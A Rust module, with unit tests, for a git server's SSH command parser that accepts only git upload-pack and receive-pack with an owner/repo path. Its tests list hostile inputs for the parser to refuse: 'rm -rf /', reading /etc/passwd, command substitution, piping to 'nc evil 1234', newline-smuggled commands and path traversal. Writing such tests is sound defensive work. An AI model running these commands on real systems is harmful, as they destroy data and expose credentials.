Jump to…
snowinitial commitqoxwzsukwmkx1mo
Matt W1//! Parsing the requested SSH command (spec §6, §9).
Matt W2//!
Matt W3//! > `dogfood-ssh` … dispatches only `git-upload-pack` and `git-receive-pack`.
Matt W4//! > No shell, no port forwarding, no agent forwarding, no PTY, no SFTP, no exec
Matt W5//! > of anything else. Parse the requested command strictly and reject anything
Matt W6//! > unrecognized.
Matt W7//!
Matt W8//! This is the module that decides what a connected key is allowed to run, so
Matt W9//! it is pure, strict, and heavily tested.
Matt W10
Matt W11#[derive(Debug, Clone, Copy, PartialEq, Eq)]
Matt W12pub enum Service {
Matt W13 UploadPack,
Matt W14 ReceivePack,
Matt W15}
Matt W16
Matt W17impl Service {
Matt W18 pub fn git_subcommand(self) -> &'static str {
Matt W19 match self {
Matt W20 Service::UploadPack => "upload-pack",
Matt W21 Service::ReceivePack => "receive-pack",
Matt W22 }
Matt W23 }
Matt W24
Matt W25 /// Whether running this service modifies the repository.
Matt W26 pub fn is_write(self) -> bool {
Matt W27 matches!(self, Service::ReceivePack)
Matt W28 }
Matt W29}
Matt W30
Matt W31#[derive(Debug, Clone, PartialEq, Eq)]
Matt W32pub struct Request {
Matt W33 pub service: Service,
Matt W34 pub owner: String,
Matt W35 pub repo: String,
Matt W36}
Matt W37
Matt W38#[derive(Debug, Clone, PartialEq, Eq)]
Matt W39pub enum ExecError {
Matt W40 /// Not one of the two permitted commands.
Matt W41 UnsupportedCommand,
Matt W42 /// The path was not `owner/repo`.
Matt W43 BadPath,
Matt W44 Malformed,
Matt W45}
Matt W46
Matt W47impl std::fmt::Display for ExecError {
Matt W48 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
Matt W49 match self {
Matt W50 ExecError::UnsupportedCommand => write!(
Matt W51 f,
Matt W52 "Dogfood accepts only `git-upload-pack` and `git-receive-pack` over SSH."
Matt W53 ),
Matt W54 ExecError::BadPath => write!(f, "Expected a path of the form 'owner/repo'."),
Matt W55 ExecError::Malformed => write!(f, "Could not parse the requested command."),
Matt W56 }
Matt W57 }
Matt W58}
Matt W59
Matt W60/// Parse an SSH exec request.
Matt W61///
Matt W62/// Git sends, for example: `git-upload-pack 'owner/repo.git'`.
Matt W63/// The quoting varies between clients, so both quoted and bare forms are
Matt W64/// accepted — but nothing else is. There is deliberately no shell involved:
Matt W65/// the string is split on whitespace and the pieces are matched literally, so
Matt W66/// metacharacters carry no meaning.
Matt W67pub fn parse(command: &str) -> Result<Request, ExecError> {
Matt W68 // Guard against absurd input before doing any work.
Matt W69 if command.is_empty() || command.len() > 4096 {
Matt W70 return Err(ExecError::Malformed);
Matt W71 }
Matt W72 // A control character has no place in a command and is a strong signal of
Matt W73 // an injection attempt.
Matt W74 if command.bytes().any(|b| b < 0x20 || b == 0x7f) {
Matt W75 return Err(ExecError::Malformed);
Matt W76 }
Matt W77
Matt W78 let trimmed = command.trim();
Matt W79 let (verb, rest) = match trimmed.split_once(char::is_whitespace) {
Matt W80 Some((v, r)) => (v, r.trim()),
Matt W81 None => return Err(ExecError::UnsupportedCommand),
Matt W82 };
Matt W83
Matt W84 // Exactly two commands. `git upload-pack` (space form) is also accepted
Matt W85 // because some clients send it, but nothing else — in particular not
Matt W86 // `git-upload-pack-with-anything`, and not a shell pipeline.
Matt W87 let (service, rest) = match verb {
Matt W88 "git-upload-pack" => (Service::UploadPack, rest),
Matt W89 "git-receive-pack" => (Service::ReceivePack, rest),
Matt W90 "git" => {
Matt W91 let (sub, r) = rest.split_once(char::is_whitespace).ok_or(ExecError::Malformed)?;
Matt W92 match sub {
Matt W93 "upload-pack" => (Service::UploadPack, r.trim()),
Matt W94 "receive-pack" => (Service::ReceivePack, r.trim()),
Matt W95 _ => return Err(ExecError::UnsupportedCommand),
Matt W96 }
Matt W97 }
Matt W98 _ => return Err(ExecError::UnsupportedCommand),
Matt W99 };
Matt W100
Matt W101 // Only one argument is permitted: the repository path. More than one means
Matt W102 // the client is trying to pass flags.
Matt W103 if rest.split_whitespace().count() != 1 {
Matt W104 return Err(ExecError::Malformed);
Matt W105 }
Matt W106
Matt W107 let path = unquote(rest);
Matt W108 let (owner, repo) = split_path(&path)?;
Matt W109
Matt W110 Ok(Request {
Matt W111 service,
Matt W112 owner,
Matt W113 repo,
Matt W114 })
Matt W115}
Matt W116
Matt W117fn unquote(s: &str) -> String {
Matt W118 let s = s.trim();
Matt W119 for q in ['\'', '"'] {
Matt W120 if s.len() >= 2 && s.starts_with(q) && s.ends_with(q) {
Matt W121 return s[1..s.len() - 1].to_string();
Matt W122 }
Matt W123 }
Matt W124 s.to_string()
Matt W125}
Matt W126
Matt W127/// Split `owner/repo(.git)` into its parts, rejecting anything else.
Matt W128///
Matt W129/// Traversal is impossible by construction: exactly two components are allowed
Matt W130/// and neither may contain a slash or a dot-dot.
Matt W131fn split_path(path: &str) -> Result<(String, String), ExecError> {
Matt W132 let path = path.trim_start_matches('/').trim_end_matches('/');
Matt W133 let path = path.strip_suffix(".git").unwrap_or(path);
Matt W134
Matt W135 let mut parts = path.split('/');
Matt W136 let (Some(owner), Some(repo), None) = (parts.next(), parts.next(), parts.next()) else {
Matt W137 return Err(ExecError::BadPath);
Matt W138 };
Matt W139
Matt W140 if owner.is_empty() || repo.is_empty() {
Matt W141 return Err(ExecError::BadPath);
Matt W142 }
Matt W143 // Belt and braces — a component cannot contain a slash here, but `..` as a
Matt W144 // whole component would still be a traversal attempt worth naming.
Matt W145 if owner.contains("..") || repo.contains("..") {
Matt W146 return Err(ExecError::BadPath);
Matt W147 }
Matt W148 if !owner.chars().all(valid_owner_char) || !repo.chars().all(valid_repo_char) {
Matt W149 return Err(ExecError::BadPath);
Matt W150 }
Matt W151
Matt W152 Ok((owner.to_string(), repo.to_string()))
Matt W153}
Matt W154
Matt W155fn valid_owner_char(c: char) -> bool {
Matt W156 c.is_ascii_alphanumeric() || c == '-'
Matt W157}
Matt W158
Matt W159fn valid_repo_char(c: char) -> bool {
Matt W160 c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-')
Matt W161}
Matt W162
Matt W163#[cfg(test)]
Matt W164mod tests {
Matt W165 use super::*;
Matt W166
Matt W167 fn req(service: Service, owner: &str, repo: &str) -> Request {
Matt W168 Request {
Matt W169 service,
Matt W170 owner: owner.into(),
Matt W171 repo: repo.into(),
Matt W172 }
Matt W173 }
Matt W174
Matt W175 #[test]
Matt W176 fn parses_the_standard_forms() {
Matt W177 assert_eq!(
Matt W178 parse("git-upload-pack 'snow/core.git'").unwrap(),
Matt W179 req(Service::UploadPack, "snow", "core")
Matt W180 );
Matt W181 assert_eq!(
Matt W182 parse("git-receive-pack 'snow/core.git'").unwrap(),
Matt W183 req(Service::ReceivePack, "snow", "core")
Matt W184 );
Matt W185 // Unquoted, no .git, leading slash — all seen from real clients.
Matt W186 assert_eq!(
Matt W187 parse("git-upload-pack /snow/core").unwrap(),
Matt W188 req(Service::UploadPack, "snow", "core")
Matt W189 );
Matt W190 assert_eq!(
Matt W191 parse("git-upload-pack \"snow/core.git\"").unwrap(),
Matt W192 req(Service::UploadPack, "snow", "core")
Matt W193 );
Matt W194 assert_eq!(
Matt W195 parse("git upload-pack 'snow/core.git'").unwrap(),
Matt W196 req(Service::UploadPack, "snow", "core")
Matt W197 );
Matt W198 }
Matt W199
Matt W200 // ─── everything else is refused (spec §9) ────────────────────────────────
Matt W201
Matt W202 #[test]
Matt W203 fn refuses_any_other_command() {
Matt W204 for bad in [
Matt W205 "bash",
Matt W206 "sh -c 'rm -rf /'",
Matt W207 "scp -t /tmp",
Matt W208 "rsync --server",
Matt W209 "git-upload-archive 'a/b'",
Matt W210 "git gc",
Matt W211 "git-upload-packX 'a/b'",
Matt W212 "/usr/bin/git-upload-pack 'a/b'",
Matt W213 "env",
Matt W214 "cat /etc/passwd",
Matt W215 ] {
Matt W216 assert!(
Matt W217 matches!(
Matt W218 parse(bad),
Matt W219 Err(ExecError::UnsupportedCommand) | Err(ExecError::Malformed)
Matt W220 ),
Matt W221 "must refuse {bad:?}, got {:?}",
Matt W222 parse(bad)
Matt W223 );
Matt W224 }
Matt W225 }
Matt W226
Matt W227 #[test]
Matt W228 fn shell_metacharacters_carry_no_meaning() {
Matt W229 // There is no shell, so these are simply invalid paths — never executed.
Matt W230 for bad in [
Matt W231 "git-upload-pack 'a/b; rm -rf /'",
Matt W232 "git-upload-pack 'a/b && curl evil'",
Matt W233 "git-upload-pack 'a/b|nc evil 1234'",
Matt W234 "git-upload-pack '$(whoami)/x'",
Matt W235 "git-upload-pack '`id`/x'",
Matt W236 ] {
Matt W237 assert!(parse(bad).is_err(), "must refuse {bad:?}");
Matt W238 }
Matt W239 }
Matt W240
Matt W241 #[test]
Matt W242 fn refuses_path_traversal() {
Matt W243 for bad in [
Matt W244 "git-upload-pack '../../etc/passwd'",
Matt W245 "git-upload-pack 'a/../../b'",
Matt W246 "git-upload-pack 'a/b/c'",
Matt W247 "git-upload-pack 'onlyone'",
Matt W248 "git-upload-pack '..'",
Matt W249 "git-upload-pack '/'",
Matt W250 ] {
Matt W251 assert!(
Matt W252 matches!(parse(bad), Err(ExecError::BadPath) | Err(ExecError::Malformed)),
Matt W253 "must refuse {bad:?}, got {:?}",
Matt W254 parse(bad)
Matt W255 );
Matt W256 }
Matt W257 }
Matt W258
Matt W259 /// An absolute path is the ordinary wire form, not an attack.
Matt W260 ///
Matt W261 /// `ssh://git@host/owner/repo.git` makes Git send `'/owner/repo.git'`, so
Matt W262 /// the leading slash has to be accepted. That means
Matt W263 /// `git-upload-pack '/etc/passwd'` parses — as owner `etc`, repo `passwd`,
Matt W264 /// which is a *name*, not a path.
Matt W265 ///
Matt W266 /// Nothing is disclosed by that, and it is worth being precise about why:
Matt W267 /// storage location derives from the repository's UUID and never from these
Matt W268 /// strings (spec §3, §9), so a parsed name that matches no row resolves to
Matt W269 /// no repository at all. The two components can never become a filesystem
Matt W270 /// path, whatever they say.
Matt W271 #[test]
Matt W272 fn an_absolute_path_is_the_normal_wire_form_not_traversal() {
Matt W273 assert_eq!(
Matt W274 parse("git-upload-pack '/alice/dogfood.git'").unwrap(),
Matt W275 req(Service::UploadPack, "alice", "dogfood")
Matt W276 );
Matt W277 assert_eq!(
Matt W278 parse("git-upload-pack '/etc/passwd'").unwrap(),
Matt W279 req(Service::UploadPack, "etc", "passwd"),
Matt W280 "parsed as two names; resolution against the database is what denies it"
Matt W281 );
Matt W282 }
Matt W283
Matt W284 #[test]
Matt W285 fn refuses_extra_arguments() {
Matt W286 // Otherwise a client could pass flags to git.
Matt W287 assert!(parse("git-upload-pack --upload-pack=/bin/sh 'a/b'").is_err());
Matt W288 assert!(parse("git-upload-pack 'a/b' 'c/d'").is_err());
Matt W289 assert!(parse("git-upload-pack --help").is_err());
Matt W290 }
Matt W291
Matt W292 #[test]
Matt W293 fn refuses_control_characters() {
Matt W294 assert_eq!(
Matt W295 parse("git-upload-pack 'a/b'\nrm -rf /"),
Matt W296 Err(ExecError::Malformed)
Matt W297 );
Matt W298 assert_eq!(parse("git-upload-pack 'a\0b'"), Err(ExecError::Malformed));
Matt W299 }
Matt W300
Matt W301 #[test]
Matt W302 fn refuses_empty_and_overlong() {
Matt W303 assert_eq!(parse(""), Err(ExecError::Malformed));
Matt W304 assert_eq!(parse("git-upload-pack"), Err(ExecError::UnsupportedCommand));
Matt W305 assert_eq!(parse(&"a".repeat(5000)), Err(ExecError::Malformed));
Matt W306 }
Matt W307
Matt W308 #[test]
Matt W309 fn write_classification_is_correct() {
Matt W310 assert!(!Service::UploadPack.is_write());
Matt W311 assert!(Service::ReceivePack.is_write());
Matt W312 }
Matt W313
Matt W314 #[test]
Matt W315 fn a_repo_named_with_dot_git_inside_is_preserved() {
Matt W316 // Only a trailing `.git` is stripped.
Matt W317 assert_eq!(
Matt W318 parse("git-upload-pack 'snow/my.git.repo'").unwrap().repo,
Matt W319 "my.git.repo"
Matt W320 );
Matt W321 }
Matt W322}

322 lines · Rust